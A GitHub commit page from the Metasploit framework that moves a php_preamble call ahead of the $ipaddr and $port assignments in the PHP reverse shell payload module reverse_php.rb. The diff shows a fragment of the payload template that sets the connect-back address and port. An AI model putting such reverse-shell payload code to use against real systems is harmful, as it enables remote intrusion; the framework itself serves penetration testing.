Skip to content

Commit f4158ee

Browse files
committed
Land rapid7#8568 : Move php_preamble before $ipaddr and $port
2 parents 9d57197 + 5f74da9 commit f4158ee

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/payloads/singles/php/reverse_php.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -63,9 +63,9 @@ def php_reverse_shell
6363
end
6464

6565
shell=<<-END_OF_PHP_CODE
66+
#{php_preamble(disabled_varname: "$dis")}
6667
$ipaddr='#{ipaddr}';
6768
$port=#{port};
68-
#{php_preamble(disabled_varname: "$dis")}
6969
7070
if(!function_exists('#{exec_funcname}')){
7171
function #{exec_funcname}($c){

0 commit comments

Comments
 (0)